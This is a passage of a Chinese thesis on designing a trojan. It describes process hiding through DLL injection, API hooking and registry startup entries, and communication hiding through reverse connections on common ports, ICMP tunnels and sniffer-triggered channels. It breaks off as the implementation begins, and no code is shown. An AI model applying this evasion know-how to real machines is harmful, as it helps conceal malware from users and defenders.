一種通過通信隱藏手段而設(shè)計的木馬_第1頁
一種通過通信隱藏手段而設(shè)計的木馬_第2頁
一種通過通信隱藏手段而設(shè)計的木馬_第3頁
一種通過通信隱藏手段而設(shè)計的木馬_第4頁
一種通過通信隱藏手段而設(shè)計的木馬_第5頁
已閱讀5頁,還剩16頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

1、一種通過通信隱藏手段而設(shè)計的木馬一種通過通信隱藏手段而設(shè)計的木馬 摘摘 要要 近年來,特洛伊木馬等惡意代碼己經(jīng)成為網(wǎng)絡(luò)安全的重要威脅。很多國家 都采取積極的網(wǎng)絡(luò)安全防御措施,投入大量的人力和物力研究網(wǎng)絡(luò)信息安全技術(shù)。 文章首先分析了傳統(tǒng)木馬的一般工作原理及其植入、加載、隱藏等關(guān)鍵技術(shù)。 隨著網(wǎng)絡(luò)技術(shù)的不斷更新和發(fā)展,木馬技術(shù)也在不斷地更新?lián)Q代,現(xiàn)代木馬的進(jìn) 程隱藏和通信隱藏等等都發(fā)生了變化。 進(jìn)程的隱藏和通信的隱藏一直是木馬程序設(shè)計者不斷探求的重要技術(shù)。攻 擊者為達(dá)到進(jìn)程隱藏的目的,采用遠(yuǎn)程線程和動態(tài)鏈接庫,將木馬作為線程隱 藏在其他進(jìn)程中。選用一般安全策略都允許的端口通信,如 80 端口,則

2、可輕易 穿透防火墻和避過入侵檢測系統(tǒng)等安全機(jī)制的檢測,從而具有很強(qiáng)的隱蔽性。 本文研究了如何將 Windows 環(huán)境下的動態(tài)鏈接庫(DLL)技術(shù)與遠(yuǎn)程線程插入 技術(shù)結(jié)合起來實現(xiàn)特洛伊木馬植入的新方案。在該方案中,提出了特洛伊木馬 程序 DLL 模塊化,并且創(chuàng)建了獨立的特洛伊木馬植入應(yīng)用程序,將木馬程序的 DLL 模塊植入宿主進(jìn)程。實驗結(jié)果證明該方案能實現(xiàn)的木馬植入,具有很好的 隱蔽性和靈活性。 關(guān)鍵詞關(guān)鍵詞:特洛伊木馬;動態(tài)連接庫;進(jìn)程插入;遠(yuǎn)程線程 The Design and Implementation of Trojan Horses Base on Process Hiding an

3、d Communications Hiding Abstract In recent years, malicious codes including Trojan have threatened network information security, and more and more countries paid attention to take active measures to protect the network, and spent a lot in research to develop network information security technology m

4、entally and materially. This paper firstly analyses the basic principle, entry technology, load technology and hiding technology of traditional Trojan horse. With the development of network technology, Trojan horse technology is upgrading constantly. Modern Trojan horse is changed in process hiding

5、and communication hiding. The process hiding and communications hiding are important technology being explored by Trojan horse programmers all long. Adopting the measure of dynamic link storage, and Remote Thread technology, and hiding Trojan horse behind the other processes as a thread program, it

6、is easy to hide. Choosing the port correspondence which is permitted by almost all the ordinary security policy, likes 80port, may easily penetrate the firewall and avoid the examine of security systems as invasion-checking mechanisms and so on. Thus, it has a very strong covered. This paper is impl

7、emented the injection of Trojan horse by combining the technology of DLL (dynamic linking library) and of remote thread injection on the Windows platform. In this paper, modularization of Trojan horse process is proposed to create an independent Trojan horse injection process, thus, to inject Trojan

8、 horse DLL module to the host process. Experimental results show that the program could realize the Trojan injected with good covered and flexibility. Key Words:Trojan Horse;DLL;Process Injection;Remote Thread 目目 錄錄 論文總頁數(shù):23 頁 1引言.1 2特洛伊木馬簡介.1 2.1認(rèn)識木馬.2 2.2木馬原理.2 2.3木馬的危害.3 2.4常見木馬的介紹.3 3木馬隱藏概述.4 3.

9、1本地隱藏.4 3.2通信隱藏.8 4隱藏技術(shù)的實現(xiàn).10 4.1隱藏進(jìn)程.10 4.2隱藏通信.14 4.3木馬功能的實現(xiàn).14 5系統(tǒng)測試.14 5.1功能測試.14 5.2性能測試.16 結(jié) 論.16 參考文獻(xiàn).17 1 1引言引言 近年來,黑客攻擊層出不窮,對網(wǎng)絡(luò)安全構(gòu)成了極大的威脅。2006年底, 我國互聯(lián)網(wǎng)上大規(guī)模爆發(fā)“熊貓燒香”木馬病毒及其變種,該木馬病毒通過多 種方式進(jìn)行傳播,并將感染的所有程序文件改成熊貓舉著三根香的模樣,同時 該病毒還具有盜取用戶游戲賬號、賬號等功能。該病毒傳播速度快,危害 范圍廣,截至案發(fā)為止,已有上百萬個人用戶、網(wǎng)吧及企業(yè)局域網(wǎng)用戶遭受感 染和破壞,引起

10、社會各界高度關(guān)注。 木馬是黑客的主要攻擊手段之一,它通過滲透進(jìn)入對方主機(jī)系統(tǒng),從而實 現(xiàn)對目標(biāo)主機(jī)的遠(yuǎn)程操作,破壞力相當(dāng)之大。 到目前為止,木馬的發(fā)展已經(jīng)經(jīng)歷了五代 1第一代木馬只是實現(xiàn)簡單的密碼竊取、發(fā)送等,在隱藏和通信方面均無 特別之處。 2第二代木馬以文件關(guān)聯(lián)方式啟動,通過電子郵件傳送信息。在木馬技術(shù) 發(fā)展史上開辟了新的篇章。其典型代表是冰河, 3第三代木馬的信息傳輸方式有所突破,采用ICMP協(xié)議,增加了查殺的難 度。 4第四代木馬在進(jìn)程隱藏方面獲得了重大突破,采用插入內(nèi)核的嵌入方式。 利用遠(yuǎn)程插入線程技術(shù),嵌入DLL線程或掛接PSAPI等,實現(xiàn)木馬程序的隱藏。 利用反彈端口技術(shù)突破防火

11、墻限制。在Windows NT/2000下取得了良好的隱藏效 果。 5.第五代木馬與病毒緊密結(jié)合。利用操作系統(tǒng)漏洞,直接實現(xiàn)感染傳播目 的,而不必像以前的木馬那樣需要欺騙用戶主動激活。例如類似沖擊波病毒的 木馬噩夢。 現(xiàn)在的黑客技術(shù)已經(jīng)越來越完善,精通各種攻擊技術(shù)的人才也越來越多, 現(xiàn)在流行的木馬都主要是針對網(wǎng)上銀行交易、網(wǎng)上證券交易以及各種網(wǎng)絡(luò)游戲, 木馬的危害已經(jīng)越來越大,木馬這個課題有著重要的研究意義。 2 2特洛伊木馬簡介特洛伊木馬簡介 特洛伊木馬( Trojan Horse),以下簡稱木馬,取名自希臘神話“特洛伊木 馬記”,是指一類偽裝成合法程序或隱藏在合法程序中的惡意代碼,這些代碼

12、或 者執(zhí)行惡意行為,或者為非授權(quán)訪問系統(tǒng)的特權(quán)功能而提供后門。木馬的首要 特征是它的隱蔽性,為了提高自身的生存能力,木馬會采用各種手段來偽裝隱藏 以使被感染的系統(tǒng)表現(xiàn)正常。近年來,隨著windows操作系統(tǒng)普及,基于圖形操 作的木馬程序出現(xiàn),許多不太懂計算機(jī)編程的人也能熟練操作木馬,大肆危害 網(wǎng)絡(luò)安全木馬的發(fā)展。 2.12.1 認(rèn)識木馬認(rèn)識木馬 一個完整的木馬系統(tǒng)由硬件部分、軟件部分和具體連接部分組成。 1硬件部分 建立木馬連接所必須的硬件實體。具體包括: (1)客戶端:對服務(wù)器端進(jìn)行遠(yuǎn)程控制的一方。 (2)服務(wù)端:被控制端遠(yuǎn)程控制的一方。 (3)Internet:控制端對服務(wù)端進(jìn)行遠(yuǎn)程控制,

13、遠(yuǎn)程傳輸?shù)木W(wǎng)絡(luò)載體。 2軟件部分 實現(xiàn)遠(yuǎn)程控制所必須的軟件程序。具體包括: (1)客戶端程序:控制端用以遠(yuǎn)程控制服務(wù)端的程序。 (2)木馬程序:潛入服務(wù)端內(nèi)部,獲得其操作權(quán)限的程序。 (3)木馬配置程序:設(shè)置木馬程序的端口號、觸發(fā)條件、木馬名稱等,使 其在服務(wù)端藏的更隱蔽的程序。 3連接部分 木馬進(jìn)行數(shù)據(jù)傳輸?shù)哪康牡?。具體包括: 客戶端端口、木馬端口:即客戶端、服務(wù)端的數(shù)據(jù)入口,通過這個入口數(shù) 據(jù)可直達(dá)控制端程序或木馬程序。 2.22.2 木馬原理木馬原理 木馬攻擊網(wǎng)絡(luò)原理大致可以分為六個步驟: 1.配置木馬 一般來說,一個設(shè)計成熟的木馬都有木馬配置程序,從具體的配置內(nèi)容看, 主要是為實現(xiàn)以下

14、兩個功能,木馬偽裝和信息反饋。 2.傳播木馬 木馬的傳播方式主要有兩種:一種是通過E-mail,客戶端將木馬程序以附 件的形式夾在郵件中發(fā)送出去,收件人只要打開附件就會感染木馬;另一種是 軟件下載,一些非正規(guī)的網(wǎng)站以提供軟件下載的名義,將木馬捆綁在軟件安裝 程序上,下載后,只要一運行這些程序,木馬就會自動安裝。 3.運行木馬 服務(wù)端用戶運行木馬或捆綁木馬的程序后,木馬就會自動進(jìn)行安裝。當(dāng)滿 足觸發(fā)條件時,木馬被激活,進(jìn)入內(nèi)存,并開啟事先定義的木馬端口,準(zhǔn)備與 控制端建立連接。 4.信息泄露 木馬成功安裝后收集一些服務(wù)端的軟件硬件信息,并通過E-mail、IRC等方 式告知客戶端用戶。 5.建立

15、連接 一個木馬連接的建立首先必須滿足兩個條件:一是服務(wù)端已安裝了木馬程 序;二是客戶端、服務(wù)端都要在線。在此基礎(chǔ)上,客戶端可以通過木馬端口與 服務(wù)端建立連接。 6.遠(yuǎn)程控制 木馬連接成功后,客戶端口和服務(wù)端口之間會出現(xiàn)一條通道,客戶端上的 控制端程序可借此通道與服務(wù)端上的木馬程序取得聯(lián)系,并通過木馬程序?qū)Ψ?務(wù)端進(jìn)行遠(yuǎn)程控制,實施破壞行動。 2.32.3 木馬的危害木馬的危害 1竊取密碼 一切以明文的形式,或緩存在Cache 中的密碼都能被木馬偵測到。此外, 很多木馬還提供有擊鍵記錄功能,所以,一旦有木馬入侵,密碼將很容易被竊取。 2文件操作 客戶端可通過遠(yuǎn)程控制對服務(wù)端上的文件進(jìn)行刪除、修改

16、、下載等一系列 操作,基本涵蓋了Windows 平臺上所有的文件操作功能。 3修改注冊表 客戶端可任意修改服務(wù)端注冊表,包括刪除、新建或修改主鍵、子健、鍵 值。有了這項功能,客戶端就可以將服務(wù)端上木馬的觸發(fā)條件設(shè)置得更隱蔽。 4系統(tǒng)操作 這項內(nèi)容包括重啟或關(guān)閉服務(wù)端操作系統(tǒng),斷開服務(wù)端網(wǎng)絡(luò)連接,控制服 務(wù)端的鼠標(biāo)、鍵盤,監(jiān)視服務(wù)端桌面操作,查看服務(wù)端進(jìn)程等,客戶端甚至可 以隨時給服務(wù)端發(fā)送信息。 2.42.4 常見木馬常見木馬的介紹的介紹 木馬的種類繁多,但是陷于種種原因,真正廣泛使用的著名木馬只有少數(shù) 幾種,如BO2000、Subseven、冰河、YAI、Setiri等。 1.BO2000

17、BO2000有一個相當(dāng)有用的功能,即隱藏木馬進(jìn)程,一旦將這項功能設(shè)置為 enable,用ATM查看進(jìn)程時,BO2000的木馬進(jìn)程將不會被發(fā)現(xiàn)。 2.Subseven 在版本較高的Subseven中,除常規(guī)的觸發(fā)條件外,還提供有l(wèi)ess know method和not know method兩種觸發(fā)方法。選擇前者,運行木馬后將SYSTEM.INI 中的Shell改為Shell=explorer.exe msrexe.exe,即用SYSTEM.INI觸發(fā)木馬。 選擇后者則會在C:Windows目錄下創(chuàng)建一個名為Windows.exe的程序,通過這 個程序來觸發(fā)木馬,并將HKEY-ROOTexefi

18、leshellopencommand的鍵值“% 1”、“%X”改為“Windows.exe% 1”、“Windows.exe%X”。也就是說,即使 我們把木馬刪除了,只要一運行EXE文件,Windows.exe文件馬上又將木馬安裝 上去。對于這種出發(fā)條件,我們只要將鍵值改回原值,并刪除Windows.exe即可。 3.冰河 冰河的特殊觸發(fā)條件和Subseven極為相似。要注意的是,冰河的木馬程序 有隱藏屬性,需要將顯示模式設(shè)置為顯示所有文件時,才能看到。 4.YAI YAI是一個木馬和病毒的綜合體,它能通過寄生于任意GUI子系統(tǒng)、PE格式 的Windows程序觸發(fā)木馬,這樣即使YAIver被意

19、外清除,在短時間內(nèi)也可以自動 恢復(fù)。YAI不可能用手工刪除的方法清楚干凈,建議使用殺毒軟件。 5Setiri 2002年2月,Roelof Temmingh和Haroon Meer開發(fā)了一個名叫Setiri的木馬 工具。這個木馬工具采用了多種隱藏技術(shù),如匿名技術(shù)、加密通信、OLE編程、 反彈性端口等,從而使得檢測、堵截和追蹤非常困難,可以說是目前最先進(jìn)的 木馬技術(shù)之一。 3 3木馬隱藏概述木馬隱藏概述 木馬程序與普通遠(yuǎn)程管理程序的一個顯著區(qū)別是它的隱藏性。木馬被植入 后, 通常利用各種手段來隱藏痕跡, 以避免被發(fā)現(xiàn)和追蹤, 盡可能延長生存 期。其中進(jìn)程隱藏和通信隱藏是木馬隱藏的關(guān)鍵。 3.13

20、.1 本地隱藏本地隱藏 本地隱藏是指木馬為防止被本地用戶發(fā)現(xiàn)而采取的隱藏手段, 主要包括啟 動隱藏、文件隱藏、進(jìn)程隱藏、內(nèi)核模塊隱藏、原始分發(fā)隱藏等。這些手段可 以分為三類: 將木馬隱藏(附著、捆綁或替換) 在合法程序中; 修改或替換相應(yīng)的檢測程序,對有關(guān)木馬的輸出信息進(jìn)行隱蔽處理; 利用檢測程序本身的工作機(jī)制或缺陷巧妙地避過木馬檢測。 1 啟動隱藏 啟動隱藏,是指目標(biāo)機(jī)自動加載運行木馬程序, 而不被用戶發(fā)現(xiàn)。在 Windows 系統(tǒng)中,比較典型的木馬啟動方式有:修改系統(tǒng)“啟動”項;修改注冊 表的相關(guān)鍵值;插入常見默認(rèn)啟動服務(wù);修改系統(tǒng)配置文件 (Config.sys、Win.ini和Syst

21、em.ini 等);修改“組策略”等。這些啟動方式, 通常要修改系統(tǒng)的相關(guān)文件, 容易被檢測工具發(fā)現(xiàn)。此外,還有些特殊的木馬 啟動方式,如:文件關(guān)聯(lián)和寄生啟動( 注入普通進(jìn)程)等。 2.文件隱藏 文件隱藏包括兩方面,一是通過偽裝, 達(dá)到迷惑用戶的目的;二是隱藏木 馬文件自身。對于前者,除了修改文件屬性為“隱藏”之外,大多通過一些類似 于系統(tǒng)文件的文件名來隱蔽自己。對于后者,可以修改與文件系統(tǒng)操作有關(guān)的 程序, 以過濾掉木馬信息;特殊區(qū)域存放( 如對硬盤進(jìn)行低級操作,將一些扇 區(qū)標(biāo)志為壞區(qū),將木馬文件隱藏在這些位置,或?qū)⑽募娣旁谝龑?dǎo)區(qū)中)等方式 達(dá)到隱藏自身的目的。在Windows NT/20

22、00 中,如果文件系統(tǒng)采用的是NTFS,可 以用NTFS 流來實現(xiàn)木馬文件的隱藏。 3.進(jìn)程隱藏 進(jìn)程通常被定義為一個正在運行的程序的實例,它由兩個部分組成: (1)一個是操作系統(tǒng)用來管理進(jìn)程的內(nèi)核對象。內(nèi)核對象也是系統(tǒng)用來存 放關(guān)于進(jìn)程的統(tǒng)計信息的地方。 (2)另一個是地址空間,它包含所有可執(zhí)行模塊或DLL模塊的代碼和數(shù)據(jù)。 它還包含動態(tài)內(nèi)存分配的空間。如線程堆棧和堆分配空間。 一個正常的Windows應(yīng)用程序,在運行之后,都會在系統(tǒng)之中產(chǎn)生一個進(jìn)程。 Windows 2000/XP系統(tǒng)中的任務(wù)管理器能查看到系統(tǒng)中正在運行哪些進(jìn)程。只要 平時多看任務(wù)管理器中的進(jìn)程列表,熟悉系統(tǒng)的基本進(jìn)程,就

23、可以隨時發(fā)現(xiàn)可 疑進(jìn)程,這對防范木馬和病毒大有裨益!所以,要想木馬在服務(wù)端運行,就必 須做到在任務(wù)管理器里面消失,也就是進(jìn)程隱藏。 木馬的進(jìn)程隱藏包括兩方面:偽隱藏和真隱藏。偽隱藏,就是指木馬程序 的進(jìn)程仍然存在, 只不過是消失在進(jìn)程列表里;真隱藏,則是讓程序徹底消失, 不以一個進(jìn)程或者服務(wù)的方式工作。進(jìn)程隱藏方式,主要運用于Windows 系統(tǒng) 中。 偽隱藏 在Windows9x 系統(tǒng)下,常通過將木馬程序注冊為服務(wù)的方式實現(xiàn)隱藏。 WindowsNT/2K下,可以運用API 的攔截技術(shù),通過建立系統(tǒng)鉤子,攔截PSAPI的 EnumProcessModules 或PDH,ToolHelp AP

24、I等相關(guān)函數(shù),控制檢測工具對進(jìn)程或 服務(wù)的遍歷調(diào)用,實現(xiàn)進(jìn)程隱藏。 真隱藏 真隱藏的基本原理是將木馬核心代碼以線程或DLL的方式插入到遠(yuǎn)程進(jìn)程中,由 于遠(yuǎn)程進(jìn)程是合法的用戶程序, 用戶又很難發(fā)現(xiàn)被插入的線程或DLL, 從而達(dá) 到木馬隱藏的目的。 在Windows系統(tǒng)中常見的隱藏方式有三種: 第一種進(jìn)程隱藏技術(shù):Windows 98的后門 這也是最早的進(jìn)程隱藏技術(shù)。在Windows 98中,微軟提供了一種能將進(jìn)程 注冊為服務(wù)進(jìn)程的方法。盡管微軟沒有公開提供這種方法的技術(shù)實現(xiàn)細(xì)節(jié),但 仍有高手發(fā)現(xiàn)了這個秘密,這種技術(shù)稱為RegisterServiceProcess。只要利用 此方法,任何程序的進(jìn)程

25、都能將自己注冊為服務(wù)進(jìn)程,而服務(wù)進(jìn)程在Windows 98中的任務(wù)管理器中恰巧又是不顯示的,所以便被木馬程序鉆了空子。 要對付這種隱藏的木馬還算簡單,只需使用其他第三方進(jìn)程管理工具即可 找到其所在,并且采用此技術(shù)進(jìn)行隱藏的木馬在Windows 2000/XP中就得現(xiàn)形! 中止該進(jìn)程后將木馬文件刪除即可??墒墙酉聛淼牡诙M(jìn)程隱藏技術(shù),就沒 有這么簡單對付了。 第二種進(jìn)程隱藏技術(shù):進(jìn)程插入 進(jìn)程插入(Process Injection),即打破進(jìn)程的界限,訪問另一個進(jìn)程的地 址空間一旦木馬的DLL插入了另一個進(jìn)程的地址空間后,就可以披上合法的外衣, 為所欲為了。下面是三種常見的進(jìn)程插入: A.

26、使用注冊表插入DLL 早期的進(jìn)程插入式木馬的伎倆,通過修改注冊表中的HKEY_LOCAL_MACHINE Software MicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs 來達(dá)到插入進(jìn)程的目的。缺點是不實時,修改注冊表后需要重新啟動才能完成 進(jìn)程插入。 B. 使用掛鉤(Hook)插入DLL 比較高級和隱蔽的方式,通過系統(tǒng)的掛鉤HOOK機(jī)制來插入進(jìn)程,需要調(diào)用 一個Win32 API函數(shù)-SetWindowsHookEx函數(shù)。缺點是技術(shù)門檻較高,程序調(diào)試 困難,這種木馬的制作者必須具有相當(dāng)?shù)腤in32編程水平。 C. 使用遠(yuǎn)程線程函數(shù)(C

27、reateRemoteThread)插入DLL 在Windows 2000及以上的系統(tǒng)中提供了這個“遠(yuǎn)程進(jìn)程”機(jī)制,可以通過 一個系統(tǒng)API函數(shù)來向另一個進(jìn)程中創(chuàng)建線程,即插入DLL。缺點很明顯,僅支 持Windows 2000及以上系統(tǒng),在國內(nèi)仍有相當(dāng)多用戶在使用Windows 98,所以 采用這種進(jìn)程插入方式的木馬缺乏平臺通用性。 木馬將自身作為DLL 插入別的進(jìn)程空間后,用查看進(jìn)程的方式就無法找出 木馬的蹤跡了,你能看到的僅僅是一些正常程序的進(jìn)程,但木馬卻已經(jīng)偷偷潛 入其中了。解決的方法是使用支持“進(jìn)程模塊查看”的進(jìn)程管理工具,如 “Windows優(yōu)化大師”提供的進(jìn)程查看,木馬的DLL模

28、塊就會現(xiàn)形了。 第三種進(jìn)程隱藏技術(shù):HOOK Hook是Windows中提供的一種用以替換DOS下“中斷”的一種系統(tǒng)機(jī)制,中 文譯名為“掛鉤”或“鉤子” 。在對特定的系統(tǒng)事件(包括上文中的特定API 函 數(shù)的調(diào)用事件)進(jìn)行Hook后,一旦發(fā)生已Hook的事件,對該事件進(jìn)行Hook的程序 (如:木馬)就會收到系統(tǒng)的通知,這時程序就能在第一時間對該事件做出響應(yīng), 木馬程序便搶在函數(shù)返回前對結(jié)果進(jìn)行了修改。 通過Hook 技術(shù)對系統(tǒng)中所有程序的進(jìn)程檢測相關(guān)API 的調(diào)用進(jìn)行了監(jiān)控, “任務(wù)管理器”之所以能夠顯示出系統(tǒng)中所有的進(jìn)程,也是因為其調(diào)用了 EnumProcesses等進(jìn)程相關(guān)的API函數(shù),進(jìn)

29、程信息都包含在該函數(shù)的返回結(jié)果中, 由發(fā)出調(diào)用請求的程序接收返回結(jié)果并進(jìn)行處理。如“任務(wù)管理器”在接收到 結(jié)果后就在進(jìn)程列表中顯示出來。而木馬由于事先對該API函數(shù)進(jìn)行了Hook,所 以在“任務(wù)管理器”或其他調(diào)用了列舉進(jìn)程函數(shù)的程序調(diào)用EnumProcesses函數(shù) 時(此時的API函數(shù)充當(dāng)了“內(nèi)線”的角色) ,木馬便得到了通知,并且在函數(shù) 將結(jié)果(列出所有進(jìn)程)返回給程序前,就已將自身的進(jìn)程信息從返回結(jié)果中抹 去了。 所以無論是“任務(wù)管理器”還是殺毒軟件,想對這種木馬的進(jìn)程進(jìn)行檢測 都是徒勞的。這種木馬目前沒有非常有效的查殺手段,只有在其運行前由殺毒 軟件檢測到木馬文件并阻止其病毒體的運行。

30、 4內(nèi)核模塊隱藏 內(nèi)核模塊隱藏,使木馬程序依附到操作系統(tǒng)部件上,或成為操作系統(tǒng)的一 部分。利用這種技術(shù)雖然效率比較低,實現(xiàn)比較復(fù)雜,但其具有很好的完固性 和隱藏性。該隱藏方式,在Linux系統(tǒng)中運用得比較廣泛。 在Windows系統(tǒng)中采用設(shè)備驅(qū)動技術(shù)(VxD、KMD和WDM) ,編寫虛擬設(shè)備驅(qū)動 程序?qū)崿F(xiàn)。在Linux系統(tǒng)中,內(nèi)核級木馬一般使用LKM技術(shù)實現(xiàn)。LKM( load kernel module) 主要是用于系統(tǒng)擴(kuò)展功能,不需要重新編譯內(nèi)核,就可以被動 態(tài)加載,現(xiàn)在許多內(nèi)核開放的操作系統(tǒng)都支持這一功能。利用這種技術(shù)實現(xiàn)隱藏 的木馬有adore、knark和phide 等。 5原始分發(fā)

31、隱藏 軟件開發(fā)商可以在軟件的原始分發(fā)中植入木馬。如在Linux 系統(tǒng)中, Thompson編譯器木馬就采用了原始分發(fā)隱藏技術(shù),其主要思想是: 修改編譯器的源代碼A,植入木馬,包括針對特定程序的木馬(如login 程 序)和針對編譯器的木馬。經(jīng)修改后的編譯器源碼稱為B。 用干凈的編譯器C 對B 進(jìn)行編譯得到被感染的編譯器D。 刪除B,保留D和A,將D和A同時發(fā)布。以后,無論用戶怎樣修改login 源程 序,使用D 編譯后的目標(biāo)login 程序都包含木馬。而更嚴(yán)重的是用戶無法 查出原因,因為被修改的編譯器源碼B 已被刪除, 發(fā)布的是A,用戶無法 從源程序A 中看出破綻,即使用戶使用D對A重新進(jìn)行編

32、譯,也無法清除隱 藏在編譯器二進(jìn)制中的木馬。相對其它隱藏手段,原始分發(fā)的隱藏手段更 加隱蔽。這主要是由于用戶無法得到B,因此對這類木馬的檢測非常困難。 從原始分發(fā)隱藏的實現(xiàn)機(jī)理來看,木馬植入的位置越靠近操作系統(tǒng)底層越 不容易被檢測出來,對系統(tǒng)安全構(gòu)成的威脅也就越大。 3.23.2 通信隱藏通信隱藏 通信隱藏是指利用授權(quán)的通信手段和載體進(jìn)行在系統(tǒng)安全策略允許之外的 非授權(quán)的通信活動。通信隱藏主要包括通信內(nèi)容、流量、信道和端口的隱藏。 木馬常用的通信隱藏方法是對傳輸內(nèi)容加密, 這可以采用常見/自定義的加密、 解密算法實現(xiàn),但這只能隱藏通信內(nèi)容, 無法隱藏通信信道。 采用網(wǎng)絡(luò)隱蔽通道技術(shù)不僅可以成功

33、地隱藏通信信道,還可以隱藏通信內(nèi) 容。TCP/IP 協(xié)議族中,有許多信息冗余可用于建立網(wǎng)絡(luò)隱蔽通道。木馬可以利 用這些網(wǎng)絡(luò)隱蔽通道突破網(wǎng)絡(luò)安全機(jī)制,比較常見的有: ICMP畸形報文傳遞、 HTTP隧道技術(shù),自定義TCP/UDP 報文等。采用網(wǎng)絡(luò)隱蔽通道技術(shù),如果選用一般 安全策略都允許的端口通信,如80端口,則可輕易穿透防火墻和避過入侵檢測系 統(tǒng)等安全機(jī)制的檢測,從而具有很強(qiáng)的隱蔽性。 通信隱藏常見的辦法有以下幾種: (1)使用TCP協(xié)議通信 客戶端偵聽,服務(wù)端連接。這就是所謂的反向連接技術(shù)了。為了克服服務(wù) 端在某一端口上偵聽易被發(fā)現(xiàn)這一缺點,現(xiàn)在服務(wù)端不再偵聽端口,而是去連 接客戶端在偵聽的

34、某一端口。這樣用一般的port scanner或者fport就發(fā)現(xiàn)不了 服務(wù)端了。而為了更好的麻痹宿主機(jī),客戶端偵聽的端口一般是21,80,23這種 任何人都要訪問的端口。雖然在安裝了防火墻的機(jī)器上,服務(wù)端去連接客戶端 還是要引起防火墻報警,但是一個粗心的用戶很可能會忽略“應(yīng)用程序xxxxx試 圖訪問xxx.xxx.xxx.xxx通過端口80”這樣的警告。 這種反向連接技術(shù)要解決的一個問題是,服務(wù)端如何找到客戶端。由于一 般客戶端都是撥號上網(wǎng)的,沒有一個固定的IP,所以客戶端IP不可能硬編碼在 服務(wù)端程序中。當(dāng)然由于撥號上網(wǎng)用戶的IP一般都是處于一個固定的IP地址范 圍內(nèi),服務(wù)端也可以掃描這個

35、范圍,然后根據(jù)被掃描主機(jī)的反饋來確定是否是 自己的客戶端,但是服務(wù)端掃描一個IP地址范圍也太煩瑣。 其實客戶端可以通過一個有固定IP或者固定域名的第三方發(fā)布自己的IP, 比如通過一個公共的郵箱,通過一個個人主頁,或者我們截獲其他進(jìn)程收到的 TCP數(shù)據(jù)或者UDP包,然后分析截獲的數(shù)據(jù),從中確定是否客戶端發(fā)來了一個報 告其IP的數(shù)據(jù)片斷。對于普通用戶來說,由于要上網(wǎng)瀏覽,這樣的ICMP包是很 少過濾掉的。所以還有一種方法是使用RAW socket來收聽ECHO REPLY類型的 ICMP包,在ICMP數(shù)據(jù)包的數(shù)據(jù)去就包含了客戶端IP。 (2)使用UDP協(xié)議通信 服務(wù)端偵聽,客戶端連接;客戶端偵聽,

36、服務(wù)端連接。方法和安全性與使 用TCP協(xié)議差不多。需要注意的是UDP不是一個可靠的協(xié)議,所以,必須在UDP協(xié) 議的基礎(chǔ)上設(shè)計一個自己的可靠的報文傳遞協(xié)議。 (3)用ICMP來通信 既然客戶端可以通過發(fā)一個ICMP(ECHO REPLY)來告訴服務(wù)端它的IP,那為 什么不把所有服務(wù)端和客戶端的通訊都建立在ICMP基礎(chǔ)上呢?服務(wù)端向客戶端發(fā) ICMP(ECHOREQUEST),客戶端向服務(wù)端發(fā)ICMP(ECHO REPLY),然后可以在ICMP基 礎(chǔ)上建立一個自己的可靠數(shù)據(jù)報通訊協(xié)議。如果不怕麻煩的話,還可以建立一 個TCP over ICMP。由于一般的用戶這兩類ICMP包都是設(shè)為無警告放行的,

37、這種 方法的隱秘性還是很強(qiáng)的。 (4)用自定義的協(xié)議來通信 我們知道IP頭的協(xié)議字段指定了這個IP包承載得數(shù)據(jù)的協(xié)議,比如 TCP,UDP,ICMP等等。我們完全可以把這個字段設(shè)為我們自己定義的值(80), 定義自己的通訊協(xié)議。不過估計這種IP包將會被所有的防火墻過濾掉。 (5)基于嗅探原理的通信 服務(wù)器端是一個sniffer和發(fā)包器,它將捕獲指定特征的數(shù)據(jù)包??蛻舳耸?一個發(fā)包器和嗅探器,用來發(fā)送指定特征的數(shù)據(jù)包并包括定義的命令以及接收 服務(wù)器端的數(shù)據(jù)。當(dāng)服務(wù)器端捕獲到該指定特征的數(shù)據(jù)包時,變成激活狀態(tài), 通過分析該數(shù)據(jù)包,獲得客戶端發(fā)送的命令和客戶端的IP地址,然后實現(xiàn)相應(yīng) 的命令,并將執(zhí)

38、行后的結(jié)果發(fā)送回客戶端,客戶端的嗅探部分則接收相應(yīng)的數(shù) 據(jù)。所有的數(shù)據(jù)發(fā)送都是通過原始套接字進(jìn)行。 其他隱藏通信的辦法,如變換數(shù)據(jù)包順序也可以實現(xiàn)通信隱藏。對于傳輸n 個對象的通信,可以有n!種傳輸順序,總共可以表示log2( n!)比特位的信息。 但是該方法對網(wǎng)絡(luò)傳輸質(zhì)量要求較高,接收方應(yīng)能按照數(shù)據(jù)包發(fā)送的順序接收。 這種通信隱藏方式具有不必修改數(shù)據(jù)包內(nèi)容的優(yōu)點。 現(xiàn)有木馬一般不大注意通信流量的隱藏, 而用戶可以通過檢測異常的通信 流量變化發(fā)現(xiàn)木馬,因此還有一種“跟著進(jìn)程動”的辦法來實現(xiàn)通信隱藏:當(dāng) 存在其它通信流量時,木馬程序也啟動通信。當(dāng)不存在任何其它通信流量時,木 馬程序處于監(jiān)聽狀態(tài),

39、 等待其它進(jìn)程通信。同時可以運用數(shù)據(jù)緩沖區(qū),暫存待 發(fā)送的數(shù)據(jù)。 通信隱藏技術(shù)只是木馬隱藏諸技術(shù)中得一部分,但也是最重要的一部分。 因為他不但要保護(hù)木馬,還要保護(hù)木馬得控制者,所以不管是木馬編寫者,還 是防火墻編寫者,都應(yīng)該對這一部分給予足夠的重視。 4 4隱藏技術(shù)的實現(xiàn)隱藏技術(shù)的實現(xiàn) 4.14.1 隱藏進(jìn)程隱藏進(jìn)程 上文介紹了幾種隱藏進(jìn)程的方法,在此,筆者采用遠(yuǎn)程線程插入的方法來 實現(xiàn)進(jìn)程的隱藏。 首先,我們通過 OpenProcess 來打開我們試圖嵌入的進(jìn)程。如果遠(yuǎn)程進(jìn)程 不允許打開,那么嵌入就無法進(jìn)行了,這往往是由于權(quán)限不足引起的,解決方 法是通過種種途徑提升本地進(jìn)程的權(quán)限。 hRem

